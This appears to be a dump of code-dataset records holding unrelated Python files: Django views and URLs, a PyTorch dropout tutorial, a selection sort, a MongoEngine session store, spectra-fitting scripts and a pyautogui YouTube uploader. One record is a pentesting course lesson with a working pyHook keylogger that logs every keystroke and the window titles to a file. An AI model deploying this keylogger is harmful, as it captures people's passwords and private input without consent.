непрацездатність НН')])\n writer.writerow([smart_str(u'Прогули ПР')])\n writer.writerow([smart_str(u'Відгули ІН')])\n writer.writerow([smart_str(u'Відрядження ВД')])\n writer.writerow([smart_str(u'Відрядження без оплати ВБ')])\n\n\n return response\n\n def get_ttl_val(self, totals_dic, ttl_name, cnt_name):\n if ttl_name in totals_dic:\n return totals_dic[ttl_name][cnt_name]\n else:\n return ''\n\n def get_queryset(self):\n if int(self.kwargs['is_first_half_of_month']) == 0:\n days_cnt = self.month_days_cnt(int(self.kwargs['year_num']), int(self.kwargs['month_num']))\n else:\n days_cnt = 15\n tabel = build_tabel_as_tbl(dept_code=int(self.kwargs['dept_code']),\n proj_code=int(self.kwargs['proj_code']),\n year_num=int(self.kwargs['year_num']),\n month_num=int(self.kwargs['month_num']),\n is_staffer=int(self.kwargs['is_staffer']),\n days_cnt=days_cnt,\n user_id=int(self.kwargs['user_code'])\n )\n return tabel\n\n def month_days_cnt(self, year_num, month_num):\n return monthrange(year_num, month_num)[1]\n\n def get_context_data(self, **kwargs):\n\n # dept_code, proj_code, year_num, month_num, is_staffer, is_first_half_of_month\n dept_name = Department.objects.get(pk=self.kwargs['dept_code']).dept_name\n proj_id = int(self.kwargs['proj_code'])\n if proj_id != 0:\n proj_name = Project.objects.get(pk=proj_id)\n else:\n proj_name=None\n\n tabel_date_str = self.calc_date(self.kwargs['year_num'], int(self.kwargs['month_num']), int(self.kwargs['is_first_half_of_month']))\n if int(self.kwargs['is_first_half_of_month'])==0:\n days_cnt = self.month_days_cnt(int(self.kwargs['year_num']), int(self.kwargs['month_num']))\n else:\n days_cnt = 15\n\n\n tabel_parms = {'dept_name': dept_name,\n 'proj_name': proj_name,\n 'tabel_date': tabel_date_str,\n 'is_first_half_of_month': int(self.kwargs['is_first_half_of_month']),\n 'is_staffer': int(self.kwargs['is_staffer']),\n 'day_num_lst': range(1, days_cnt+1),\n 'totals_lst': []\n }\n\n context = super(TabelListView, self).get_context_data(**tabel_parms)\n\n return context\n\n # def get_totals(self):\n # pass\n\n def calc_date(self, year_num, month_num, is_first_half_of_month):\n months = [u'січень', u'лютый', u'березень',\n u'квітень', u'травень', u'червень',\n u'липень', u'серпень', u'вересень',\n u'жовтень', u'листопад', u'грудень'\n ]\n\n months2 = [u'січня', u'лютого', u'березня',\n u'квітня', u'травня', u'червня',\n u'липня', u'серпня', u'вересня',\n u'жовтня', u'листопада', u'грудня'\n ]\n\n\n if is_first_half_of_month == 0:\n val = u'за %s %s року' % (months[month_num - 1], year_num)\n else:\n val = u'за першу половину %s %s року' % (months2[month_num - 1], year_num)\n\n return val\n\n\nclass WorktimeListView(TabelListView):\n template_name = 'worktime.html'\n context_object_name = 'worktime_lst'\n\n def get_queryset(self):\n if int(self.kwargs['is_first_half_of_month']) == 0:\n days_cnt = self.month_days_cnt(int(self.kwargs['year_num']), int(self.kwargs['month_num']))\n else:\n days_cnt = 15\n actual_worktime = build_actual_time_tabel_as_tbl(dept_code=int(self.kwargs['dept_code']),\n proj_code=int(self.kwargs['proj_code']),\n year_num=int(self.kwargs['year_num']),\n month_num=int(self.kwargs['month_num']),\n is_staffer=int(self.kwargs['is_staffer']),\n days_cnt=days_cnt,\n user_id=int(self.kwargs['user_code'])\n )\n return actual_worktime\n\n\ndef login_user(request):\n \"\"\"\n Displays the login form for the given HttpRequest.\n \"\"\"\n\n context = {\n 'app_path': '/',\n 'next': '/home',\n }\n # context.update(extra_context or {})\n\n defaults = {\n 'extra_context': context,\n 'current_app': 'timeboard',\n 'authentication_form': AuthenticationForm,\n 'template_name': 'registration/timeboard_login.html',\n }\n return login(request, **defaults)\n\n\ndef logout_user(request):\n logout(request)\n return HttpResponseRedirect(\"/login\")\n\n\ndef read_user_month_timeboard(user_id, year_num, month_num):\n user = User.objects.get(pk=user_id)\n month_timeboard = {'user_name': '%s %s' % (user.last_name, user.first_name),\n 'year_num': year_num,\n 'month_num': month_num,\n 'month_works': None\n \n }\n\n return month_timeboard\n\n\ndef get_month_all_activity(user_id, year_num, month_num):\n pass\n\n\ndef read_user_timeboard(user_id, date_of_work):\n \"\"\"\n\n :param user_id:\n :param work_date:\n :return:\n \"\"\"\n user = User.objects.get(pk=user_id)\n timeboard = {'user_name': '%s %s' % (user.last_name, user.first_name),\n 'not_closed_works': job_activity(not_closed_works_qs(user_id, date_of_work)),\n # 'all_day_lst': job_activity(all_jobs_all_day_activity_qs(user_id, date_of_work)),\n 'one_day_lst': one_day_activity_lst(user_id, date_of_work)\n }\n\n return timeboard\n\n\ndef not_closed_works_qs(user_id, date_of_work):\n return WorkTime.objects.filter(Q(to_date=None) | Q(to_time=None),\n Q(list_of_staff__user=user_id), reason__all_day=False,\n from_date__lt=date_of_work)\n\n\ndef one_day_activity_lst(user_id, date_of_work):\n los = user_los_qs(user_id)\n acivity_lst = []\n for job in los:\n activity = {}\n activity['department'] = job.department.dept_name\n activity['position'] = job.appointment.appoint_name\n activity['id'] = job.pk\n activity['job_all_day_lst'] = job_activity(one_job_all_day_activity_qs(job, date_of_work))\n activity['work_schedule'] = job_schedule(job, date_of_work)\n activity['hourly_job_lst'] = job_activity(one_job_hourly_activity_qs(job, date_of_work))\n\n acivity_lst.append(activity)\n\n return acivity_lst\n\n\ndef user_los_qs(user_id):\n return ListOfStaff.objects.select_related('department', 'appointment').filter(user=user_id).order_by('staffer')\n\n\ndef one_job_all_day_activity_qs(job_obj, date_of_work):\n qs = job_obj.worktime_set.filter(Q(to_date__gte=date_of_work) | Q(to_date=None),\n from_date__lte=date_of_work,\n reason__all_day=True)\n\n return qs\n\n\ndef job_activity(qs):\n if qs.count() == 0:\n return None\n else:\n activity_lst = [{'id': work.pk,\n 'from_date': work.from_date,\n 'from_time': work.from_time,\n 'to_date': work.to_date,\n 'to_time': work.to_time,\n 'reason': work.reason.reason_name\n }\n for work in qs\n ]\n return activity_lst\n\n\ndef one_job_hourly_activity_qs(job_obj, date_of_work):\n return job_obj.worktime_set.filter(from_date=date_of_work, reason__all_day=False)\n\n\ndef job_schedule(job_obj, date_of_work):\n try:\n schedule = job_obj.operatingscheduleweekly\n if date_of_work.weekday() <= 4:\n # mon..fri\n dayofweek = ['mon', 'tue', 'wed', 'thu', 'fri'][date_of_work.weekday()]\n dayofweek_title = [u'Понеділок', u'Вівторок', u'Середа', u'Четвер', u'П\\'ятниця'][date_of_work.weekday()]\n start_work = getattr(schedule, '%s_start' % dayofweek)\n end_work = getattr(schedule, '%s_end' % dayofweek)\n start_dinner = getattr(schedule, '%s_dinner' % dayofweek)\n if start_dinner is not None:\n end_dinner = (datetime.combine(date.today(), start_dinner) + timedelta(hours=1)).time()\n else:\n end_dinner = None\n work_schedule = {'dayofweek_title': dayofweek_title,\n 'start_work': start_work,\n 'end_work': end_work,\n 'start_dinner': start_dinner,\n 'end_dinner': end_dinner\n }\n else:\n work_schedule = None\n except OperatingScheduleWeekly.DoesNotExist as e:\n work_schedule = None\n\n return work_schedule\n","sub_path":"main/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":21653,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"86168992","text":"#\r\n# Python para Pentesters\t\t\t \r\n# Desenvolvendo um Keylogger\r\n#\r\n\r\nimport pyHook\r\nimport pythoncom\r\n\r\njanela = None\r\n\r\ndef tecla_pressionada(evento):\r\n\tarquivo = open('log.txt', 'w+') # Salvar os logs\r\n\tglobal janela\r\n\tif evento.WindowName != janela:\r\n\t\tjanela = evento.WindowName\r\n\t\tarquivo.write('\\n' + janela + ' - ' + str(evento.Time) + '\\n')\r\n\tarquivo.write(chr(evento.Ascii))\r\n\tarquivo.close() # Fechando arquivo\r\n\r\n# Criando um gancho:\r\nhook = pyHook.HookManager()\r\nhook.Keydown = tecla_pressionada \t\t# Sempre que alguém pressionar uma tecla a função evento é chamada\r\nhook.HookKeyboard() \t\t\t\t# Captura o que foi digitado\r\npythoncom.PumpMessages() \t\t\t# Cria um looping infinito dos eventos realizados no SO\r\n\r\n","sub_path":"Anotações/Módulo 7 - Malwares/2. Desenvolvendo um Keylogger.py","file_name":"2. Desenvolvendo um Keylogger.py","file_ext":"py","file_size_in_byte":722,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"56439602","text":"import math\r\nimport IceRayCpp\r\n\r\ndef name( ):\r\n return \"box\"\r\n\r\ndef make(\r\n #P_len = (math.sqrt(5)-1)/2 \r\n P_len = 1\r\n ): # P_lo, P_hi\r\n lo = IceRayCpp.MathTypeCoord3D()\r\n lo[0] = -P_len\r\n lo[1] = -P_len\r\n lo[2] = -P_len\r\n\r\n hi = IceRayCpp.MathTypeCoord3D()\r\n hi[0] = P_len\r\n hi[1] = P_len\r\n hi[2] = P_len\r\n\r\n box3 = IceRayCpp.GeometrySimpleBox( lo, hi )\r\n\r\n return { 'this': box3 }\r\n","sub_path":"example/test/core/geometry/simple/box/unit.py","file_name":"unit.py","file_ext":"py","file_size_in_byte":426,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"650571662","text":"import os\nFs = os.listdir('.')\nD = {}\nfor F in Fs:\n if F[-4:] == '-pep':\n inFile = open(F)\n for line in inFile:\n line = line.strip()\n fields = line.split('\\t')\n spec = fields[0].split()[0]\n pep = fields[1]\n D.setdefault(pep, [])\n D[pep].append(spec)\n inFile.close()\n\nouFile = open('Peptides-pFind', 'w')\nfor k in D:\n ouFile.write(k + '\\t' + '\\t'.join(D[k]) + '\\n')\nouFile.close()\n","sub_path":"NonSynonymous-SNV-Hetrozygous/pFind-First/peptdes-pfind.py","file_name":"peptdes-pfind.py","file_ext":"py","file_size_in_byte":473,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"294995674","text":"from django.urls import include, path\n\nfrom . import views\n\nurlpatterns = [\n # pomocnicze\n path('def/', views.leftSideDef, name=\"def\"),\n path('', views.welPage, name=\"main\"),\n # posty\n path('putPost/', views.putPost, name='putPost'),\n path('postCreate/', views.postCreate, name=\"postCreate\"),\n path('post/', views.putPost, name=\"post\"),\n path('postDelete/', views.postDelete, name=\"postDelete\"),\n # grupy i itemy\n path('itemGroups/', views.groupOfItmesView, name=\"groups\"),\n path('groups//', views.detailOfGroup, name=\"detail\"),\n path('addGroup/', views.addGroup, name=\"groupCreate\"),\n path('itemGroups/groupDelete/', views.groupDelete, name=\"groupDelete\"),\n path('addItem/', views.addItem, name=\"addItem\"),\n path('deleteItem///', views.deleteItem, name=\"deleteItem\"),\n path('plusItem///', views.addOneUnit, name=\"plusItem\"),\n path('minusItem///', views.minusOneUnit, name=\"minusItem\"),\n # grafiki\n path('schedule/', views.putSchedule, name=\"schedule\"),\n path('addFlatMateQ/', views.faltMateListCreate, name=\"cerateFlatMateQ\"),\n path('addSchedule/', views.scheduleCreate, name=\"cerateSchedule\"),\n path('scheduleDelete/', views.scheduleDelete, name=\"scheduleDelete\"),\n path('addFlatMates/', views.addFlateMates, name=\"addMate\"),\n\n]\n","sub_path":"userPanel/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1386,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"132004847","text":"# -*- encoding: utf-8 -*-\n\nimport torch\nimport numpy as np\nimport sys\nsys.path.append('../..')\nimport dl_common_pytorch as dl\nimport torch.nn as nn\n\n'''\n除了权重衰减可以处理过拟合问题,在深度学习模型还经常使用丢弃法(dropout)应对过拟合问题。\n丢弃法有一些不同的变体,下面以倒置丢弃法(inverted dropout)为例。\n\n多层感知机:含有一个单隐藏层的多层感知机,其中数人个数为4,隐藏单元个数为5,且隐藏单元hi(i=1~5)的计算表达式:\nhi = Q(x1w1i + x2w2i + x3w3i + x4w4i + bi)\n其中Q为激活函数,x1x2x3x4是输入,隐藏单元i的权重参数为w1i,w2i,w3i,w4i(第i个隐藏单元权重参数,一个有5个隐藏单元),偏差参数为bi。\n当对该隐藏层使用丢弃法时,该层的隐藏单元将有一定概率被丢弃掉。设丢弃概率wiep,那么有p的概率hi会被清零,有1-p的概率hi会除以1-p做拉伸。\n丢弃概率是丢弃法的超参数。具体来说,设随机变量ei为0和1的概率分别为p和1-p,使用丢弃法时我们计算新的隐藏单元h'i:\nh'i = (ei / (1-p)) * hi\n由于E(ei) = 1 - p,因此:\nE(h'i) = (E(ei) / (1-p)) * hi = hi,即丢弃法不改变其输入的期望值\n'''\ndef dropout(X, drop_prob):\n X = X.float()\n assert 0 <= drop_prob <= 1\n keep_prob = 1 - drop_prob\n # 这种情况下把全部元素都抛弃\n if keep_prob == 0:\n return torch.zeros_like(X)\n # 随机一个与X一致矩阵,对比里面的每个元素是否小于keep_prob,然后将符合条件的使用.float()转换为1\n mask = (torch.randn(X.shape) < keep_prob).float()\n # 将mask与X相乘,就会去掉一些隐藏的单元,剩下的元素再除以keep_prob\n return mask * X / keep_prob\n\n# 丢弃概率分别为0、0.5和1\nX = torch.arange(16).view(2, 8)\nprint(dropout(X, 0))\nprint(dropout(X, 0.5))\nprint(dropout(X, 1.0))\n\n# 定义一个包含两个隐藏层的多层感知机,其中两个隐藏层的输出个数都是256\nnum_inputs, num_outputs, num_hiddens1, num_hiddens2 = 784, 10, 256, 256\n\nW1 = torch.tensor(np.random.normal(0, 0.01, size=(num_inputs, num_hiddens1)), dtype=torch.float, requires_grad=True)\nb1 = torch.zeros(num_hiddens1, requires_grad=True)\nW2 = torch.tensor(np.random.normal(0, 0.01, size=(num_hiddens1, num_hiddens2)), dtype=torch.float, requires_grad=True)\nb2 = torch.zeros(num_hiddens2, requires_grad=True)\nW3 = torch.tensor(np.random.normal(0, 0.01, size=(num_hiddens2, num_outputs)), dtype=torch.float, requires_grad=True)\nb3 = torch.zeros(num_outputs, requires_grad=True)\nparams = [W1, b1, W2, b2, W3, b3]\n\n# 定义模型将全连接层和激活函数ReLU串起来,并对每个激活函数的输出使用丢弃法。\n# 可以分别设置各个层的丢弃概率。通常的建议是把靠近输入层的丢弃概率设置得小一点。\n# 在此实验中,我们将第一个隐藏层的丢弃概率设置为0.2,第二个隐藏层的丢弃概率设为0.5。\n# 通过参数is_training函数来判断运行模式为训练还是测试,并只需在训练模型下使用丢弃法。\ndrop_prob1, drop_prob2 = 0.2, 0.5\n\ndef net(X, is_training=True):\n X = X.view(-1, num_inputs)\n # 第一隐藏层函数其实就是将原函数通过激活relu函数输出到第二层隐藏层\n H1 = (torch.matmul(X, W1) + b1).relu()\n if is_training: # 只在训练模型时使用丢弃法\n H1 = dropout(H1, drop_prob1) # 在第一层全连接后添加丢弃层\n H2 = (torch.matmul(H1, W2) + b2).relu()\n if is_training: # 只在训练模型时使用丢弃法\n H1 = dropout(H2, drop_prob2) # 在第二层全连接后添加丢弃层\n return torch.matmul(H2, W3) + b3\n\n# 在模型评估时,不应该进行丢弃\nnum_epochs, lr, batch_size = 5, 100.0, 256\nloss = torch.nn.CrossEntropyLoss()\ntrain_iter, test_iter = dl.load_data_fashion_mnist(batch_size)\ndl.train_ch3(net, train_iter, test_iter, loss, num_epochs, batch_size, params, lr)\n'''\n��1次正在训练.\nepoch 1, loss 0.0047, train acc 0.534, test acc 0.724\n第2次正在训练.\nepoch 2, loss 0.0023, train acc 0.784, test acc 0.769\n第3次正在训练.\nepoch 3, loss 0.0019, train acc 0.825, test acc 0.829\n第4次正在训练.\nepoch 4, loss 0.0017, train acc 0.840, test acc 0.825\n第5次正在训练.\nepoch 5, loss 0.0016, train acc 0.849, test acc 0.833\n'''\n\n# PyTorch的简洁实现,只需要在全连接层后添加Dropout层并指定丢弃概率\n# 在训练模型时,Dropout层将以指定的丢弃概率随机丢弃上一层的输出元素;在测试模型时(即model.eval()后),Dropout层并不发挥作用。\nnet = nn.Sequential(\n dl.FlattenLayer(),\n nn.Linear(num_inputs, num_hiddens1),\n nn.ReLU(),\n nn.Dropout(drop_prob1),\n nn.Linear(num_hiddens1, num_hiddens2),\n nn.ReLU(),\n nn.Dropout(drop_prob2),\n nn.Linear(num_hiddens2, num_outputs)\n)\n\nfor param in net.parameters():\n nn.init.normal_(param, mean=0, std=0.01)\n \n# 训练并测试模型\noptimizer = torch.optim.SGD(net.parameters(), lr=0.5)\ndl.train_ch3(net, train_iter, test_iter, loss, num_epochs, batch_size, None, None, optimizer)\n'''\n第1次正在训练.\nepoch 1, loss 0.0044, train acc 0.557, test acc 0.763\n第2次正在训练.\nepoch 2, loss 0.0022, train acc 0.787, test acc 0.819\n第3次正在训练.\nepoch 3, loss 0.0019, train acc 0.820, test acc 0.743\n第4次正在训练.\nepoch 4, loss 0.0018, train acc 0.837, test acc 0.834\n第5次正在训练.\nepoch 5, loss 0.0016, train acc 0.848, test acc 0.828\n'''","sub_path":"04.动手深度学习-Pytorch/03.线性回归/codes/10.overfitting_dropout丢弃法处理过拟合问题 - 副本.py","file_name":"10.overfitting_dropout丢弃法处理过拟合问题 - 副本.py","file_ext":"py","file_size_in_byte":5522,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"40084401","text":"\"\"\"\nSelection Sort\nGiven an array of integers, sort the elements in the array in ascending order. The selection sort algorithm should be used to solve this problem.\n\nExamples\n\n{1} is sorted to {1}\n{1, 2, 3} is sorted to {1, 2, 3}\n{3, 2, 1} is sorted to {1, 2, 3}\n{4, 2, -3, 6, 1} is sorted to {-3, 1, 2, 4, 6}\nCorner Cases\n\nWhat if the given array is null? In this case, we do not need to do anything.\nWhat if the given array is of length zero? In this case, we do not need to do anything.\n\"\"\"\n\nclass Solution(object):\n def solve(self, array):\n \"\"\"\n array: int[]\n return: int[]\n \"\"\"\n # write your solution here\n # check for None or 0-length case\n if not array:\n return [] # ===> should return [] instead of None\n # loop over 0 - (n - 1)\n for i in range(len(array)-1):\n # find the min value and its index for the remaining elements\n min_idx = i\n for j in range(i+1, len(array)):\n if array[j] < array[min_idx]:\n min_idx = j\n # swap\n array[i], array[min_idx] = array[min_idx], array[i]\n return array","sub_path":"lo/selection_sort.py","file_name":"selection_sort.py","file_ext":"py","file_size_in_byte":1114,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"161925724","text":"from flask import Blueprint, url_for, abort\nfrom functools import wraps\nimport threading\nfrom collections import OrderedDict\nfrom flask.ext.login import current_user, login_required\n\n\nclass MenuBlueprint(Blueprint):\n def __init__(self, *args, **kwargs):\n super(MenuBlueprint, self).__init__(*args, **kwargs)\n self.full_menu = OrderedDict()\n self.tabs = OrderedDict()\n self.tlocal = threading.local()\n self.permissions = {}\n self.context_processor(self._menu_context_processor)\n\n def menu(self, tab, pill, link=True, icon=None):\n def outer_decorator(f):\n @wraps(f)\n def decorated_function(*args, **kwargs):\n self.tlocal.active = tab\n self.tlocal.pill = pill\n rv = f(*args, **kwargs)\n self.tlocal.active = None\n self.tlocal.pill = None\n return rv\n if link:\n menu1 = self.full_menu.setdefault(tab, OrderedDict())\n if pill is not None:\n menu1[pill] = (f.__name__, icon if pill != 'index' else None)\n if pill == 'index' or pill is None:\n self.tabs[tab] = (f.__name__, icon)\n return decorated_function\n return outer_decorator\n\n def permission_required(self, *kinds):\n def outer_decorator(f):\n @login_required\n @wraps(f)\n def decorated_function(*args, **kwargs):\n if not current_user.has_permissions(set(kinds)):\n abort(403)\n return f(*args, **kwargs)\n self.permissions[f.__name__] = set(kinds)\n return decorated_function\n return outer_decorator\n\n def _menu_context_processor(self):\n active = getattr(self.tlocal, 'active', None)\n if active is None:\n return {}\n\n return dict(\n active=active,\n active_pill=self.tlocal.pill,\n tabs=[(k, url_for(self.name+'.'+v[0]), v[1])\n for k, v in self.tabs.items()\n if current_user.has_permissions(self.permissions[v[0]])],\n pills=[(k, url_for(self.name+'.'+v[0]), v[1])\n for k, v in self.full_menu[active].items()\n if current_user.has_permissions(self.permissions[v[0]])])\n","sub_path":"surfmanage/menu.py","file_name":"menu.py","file_ext":"py","file_size_in_byte":2351,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"557563151","text":"from django.contrib.sessions.backends.base import SessionBase, CreateError\nfrom django.core.exceptions import SuspiciousOperation\nfrom django.utils.encoding import force_unicode\n\nfrom sentieolib.mongoengine.document import Document\nfrom sentieolib.mongoengine import fields\nfrom sentieolib.mongoengine.queryset import OperationError\n\nfrom datetime import datetime\nimport json\nimport httpagentparser\n\n\nclass MongoSession(Document):\n session_key = fields.StringField(primary_key=True, max_length=40)\n session_data = fields.StringField()\n expire_date = fields.DateTimeField()\n user_id = fields.StringField()\n user_agent = fields.StringField()\n device_id = fields.StringField()\n \n meta = {'collection': 'django_session', 'allow_inheritance': False}\n\n def embed(self):\n user_id = self.user_id if self.user_id else ''\n device_id = self.device_id if self.device_id else ''\n user_agent = ''\n if self.user_agent:\n value = json.loads(self.user_agent).get('ua')\n if value:\n dict = httpagentparser.detect(value)\n try:\n browser = dict['browser']['name'] + ' ' +dict.get('browser',{}).get('version','')\n os = dict['os']['name']+' '+dict.get('os',{}).get('version','')\n user_agent = 'Browser : '+browser+', OS : '+os\n\n except :\n # return value\n user_agent = ''\n else:\n user_agent = ''\n else:\n user_agent = ''\n\n return {'session_key':self.session_key,\n 'user_id':user_id,\n 'device_id':device_id,\n 'user_agent':user_agent}\n\n\nclass SessionStore(SessionBase):\n \"\"\"A MongoEngine-based session store for Django.\n \"\"\"\n\n def load(self):\n try:\n s = MongoSession.objects(session_key=self.session_key,\n expire_date__gt=datetime.now())[0]\n return self.decode(force_unicode(s.session_data))\n except (IndexError, SuspiciousOperation):\n self.create()\n return {}\n\n def exists(self, session_key):\n return bool(MongoSession.objects(session_key=session_key).first())\n\n def create(self):\n while True:\n self.session_key = self._get_new_session_key()\n try:\n self.save(must_create=True)\n except CreateError:\n continue\n self.modified = True\n self._session_cache = {}\n return\n\n def save(self, must_create=False):\n s = MongoSession(session_key=self.session_key)\n data = self._get_session(no_load=must_create)\n s.session_data = self.encode(data)\n s.expire_date = self.get_expiry_date()\n s.user_id = data.get('_user_id','')\n s.device_id = data.get('_dev_id','')\n s.user_agent = data.get('_user_agent','')\n try:\n s.save(force_insert=must_create, safe=True)\n except OperationError:\n if must_create:\n raise CreateError\n raise\n\n def delete(self, session_key=None):\n if session_key is None:\n if self.session_key is None:\n return\n session_key = self.session_key\n MongoSession.objects(session_key=session_key).delete()\n\n def set_user_id(self,userid):\n try:\n s = MongoSession.objects(session_key=self.session_key,\n expire_date__gt=datetime.now())[0]\n\n s.user_id = userid\n\n s.save()\n return 'uid Success '+userid+' '+self.session_key+' '\n except (IndexError, SuspiciousOperation):\n import traceback\n return 'set_user_id \\n\\n'+traceback.format_exc()\n\n def get_user_id(self):\n try:\n s = MongoSession.objects(session_key=self.session_key,\n expire_date__gt=datetime.now())[0]\n\n return s.user_id\n except (IndexError, SuspiciousOperation):\n return ''\n\n def set_user_agent(self,useragent):\n try:\n s = MongoSession.objects(session_key=self.session_key,\n expire_date__gt=datetime.now())[0]\n\n if type(useragent) == type({}):\n useragent = json.dumps(useragent)\n s.user_agent = useragent\n\n s.save()\n return 'ua Success '+useragent\n except (IndexError, SuspiciousOperation):\n import traceback\n return 'set_user_agent \\n\\n'+traceback.format_exc()\n\n def get_user_agent(self):\n try:\n s = MongoSession.objects(session_key=self.session_key,\n expire_date__gt=datetime.now())[0]\n\n if s.user_agent:\n return json.loads(s.user_agent)\n else:\n return {}\n except (IndexError, SuspiciousOperation):\n return {}\n\n def set_device_id(self,deviceid):\n try:\n s = MongoSession.objects(session_key=self.session_key,\n expire_date__gt=datetime.now())[0]\n\n s.device_id = deviceid\n s.save()\n return 'di Success '+deviceid\n except (IndexError, SuspiciousOperation):\n import traceback\n return 'set_di \\n\\n'+traceback.format_exc()\n\n def get_device_id(self):\n try:\n s = MongoSession.objects(session_key=self.session_key,\n expire_date__gt=datetime.now())[0]\n\n return s.device\n except (IndexError, SuspiciousOperation):\n pass\n\n\n def get_session_id(self):\n return self.session_key\n # def __contains__(self, key):\n # return key in self._session\n #\n # def __getitem__(self, key):\n # return self._session[key]\n #\n # def __setitem__(self, key, value):\n # self._session[key] = value\n # self.modified = True\n #\n # def __delitem__(self, key):\n # del self._session[key]\n # self.modified = True\n\n\n\n\n\n\n\n\n","sub_path":"mysite/mongoengine/django/sessions.py","file_name":"sessions.py","file_ext":"py","file_size_in_byte":6160,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"189654034","text":"'''\nNumber sorting program\nCreated Spring 2019\nLab03\n@author: Ethan Walters (emw45)\n'''\n\n\n# Get numbers from user input\nnum1 = int(input('Please enter number 1: '))\nnum2 = int(input('Please enter number 2: '))\nnum3 = int(input('Please enter number 3: '))\nnum4 = int(input('Please enter number 4: '))\n\n# Create the lists\nnum_list = []\nnum_list2 = []\n\n# Append the numbers to the first list\nnum_list.append(num1)\nnum_list.append(num2)\nnum_list.append(num3)\nnum_list.append(num4)\n\n# Add the min number from list1 into list2, then remove the min number from list1 so that min number is only in list2.\n# Repeat this process until all numbers are sorted in order.\nnum_list2.append(min(num_list))\nnum_list.remove(min(num_list))\nnum_list2.append(min(num_list))\nnum_list.remove(min(num_list))\nnum_list2.append(min(num_list))\nnum_list.remove(min(num_list))\nnum_list2.append(min(num_list))\nnum_list.remove(min(num_list))\n\n# Print the second number list to display results\nprint(num_list2)","sub_path":"lab03/sorting.py","file_name":"sorting.py","file_ext":"py","file_size_in_byte":977,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"480903863","text":"#!/usr/bin/env python\n\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport shift_spectra\nimport specmatch_io\n\ndef run_script(lib_restr, ref_path):\n for index, row in lib_restr.iterrows():\n spec_path = '/Users/samuel/Dropbox/SpecMatch-Emp/spectra/iodfitsdb/'+row['obs']+'.fits'\n out_path = '../lib/'+row['obs']+'_adj.fits'\n img_path = '../lib/Images/'+str(row['Teff'])+'_'+row['obs']+'.png'\n img_lags_path = '../lib/Images/'+str(row['Teff'])+'_'+row['obs']+'_lags.png'\n try:\n s, w, serr = shift_spectra.main(spec_path, 'hires', ref_path, out_path, \n diagnostic=True, diagnosticfile=img_lags_path)\n except Exception as e:\n print(e)\n continue\n\n plt.clf()\n plt.plot(w_nso, s_nso)\n plt.plot(w, s)\n plt.xlim(5480, 5490)\n plt.savefig(img_path)\n\nlib = pd.read_csv('../starswithspectra.csv',index_col=0)\nlib = lib.convert_objects(convert_numeric=True)\n\nnso_path = '/Users/samuel/Dropbox/SpecMatch-Emp/nso/nso_std.fits'\ns_nso, w_nso, serr_nso, h_nso = specmatch_io.read_standard_spectrum(nso_path)\n\n# lib_restr = lib.query('5540 < Teff < 5550')\n# ref_path = nso_path\n# run_script(lib_restr, ref_path)\n\n# 4500 < Teff < 6500\nlib_restr = lib.query('4500 < Teff < 6500')\nref_path = nso_path\nrun_script(lib_restr, ref_path)\n\n# 3700 < Teff < 4500\nlib_restr = lib.query('3700 < Teff <= 4500')\nref_path = '../lib/rj55.906_adj.fits'\nrun_script(lib_restr, ref_path)\n\n# Teff <= 3700\nlib_restr = lib.query('Teff <= 3700')\nref_path = '../lib/rj59.1926_adj.fits'\nrun_script(lib_restr, ref_path)\n\n# Teff >= 6500\nlib_restr = lib.query('Teff >= 6300')\nref_path = '../lib/rj187.479_adj.fits'\nrun_script(lib_restr, ref_path)","sub_path":"specmatchemp/script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":1749,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"49641883","text":"import pyautogui as pag\r\nimport time\r\nimport webbrowser\r\nimport os\r\nimport re\r\nimport os\r\ntime.sleep(2)\r\n##CHECK BEFORE YOU RUN\r\ndef open_youtube(its):\r\n Get_Ticker()\r\n url = \"https://studio.youtube.com/channel/UC2KSj189drlAWDWYiI8E2GA/videos/upload?d=ud&filter=%5B%5D&sort=%7B%22columnType%22%3A%22date%22%2C%22sortOrder%22%3A%22DESCENDING%22%7D\"\r\n for i in range(its):\r\n webbrowser.open_new_tab(url)\r\n\r\n\r\n#Sort of obsolete now\r\ndef loadYouTube(its):\r\n time.sleep(2)\r\n pag.keyDown('ctrl')\r\n for i in range(its):\r\n pag.click(x=1767, y=110)\r\n time.sleep(.1)\r\n pag.click(x=1767, y=147)\r\n time.sleep(.2)\r\n\r\n\r\ndef nextTab(its):\r\n for i in range(its):\r\n pag.click(x=1359, y=974)\r\n time.sleep(.1)\r\n pag.click(x=1359, y=974)\r\n time.sleep(.1)\r\n pag.hotkey('ctrl', 'tab')\r\n time.sleep(.2)\r\n\r\n\r\ndef schedule(its):\r\n for i in range(its):\r\n (624, 496)\r\n pag.click(x=625, y=500)\r\n #time.sleep(.1)\r\n #pag.click(x=601, y=389)\r\n time.sleep(.1)\r\n pag.hotkey('ctrl', 'tab')\r\n time.sleep(.2)\r\n\r\ndef publish(its):\r\n for i in range(its):\r\n pag.click(x=1338, y=974)\r\n time.sleep(5)\r\n\r\n pag.hotkey('ctrl', 'tab')\r\n time.sleep(.1)\r\ndef Get_Ticker():\r\n path, dirs, files = next(os.walk(\"C:/Users/Scott/Documents/Python Things/Earnings Calls/Todays Videos\"))\r\n for file in files:\r\n s = file\r\n m = re.search(r\"\\(([A-Za-z0-9_]+)\\)\", s)\r\n try:\r\n print(m.group(1))\r\n except:\r\n print(m)\r\n\r\npath, dirs, files = next(os.walk(\"C:/Users/Scott/Documents/Python Things/Earnings Calls/Todays 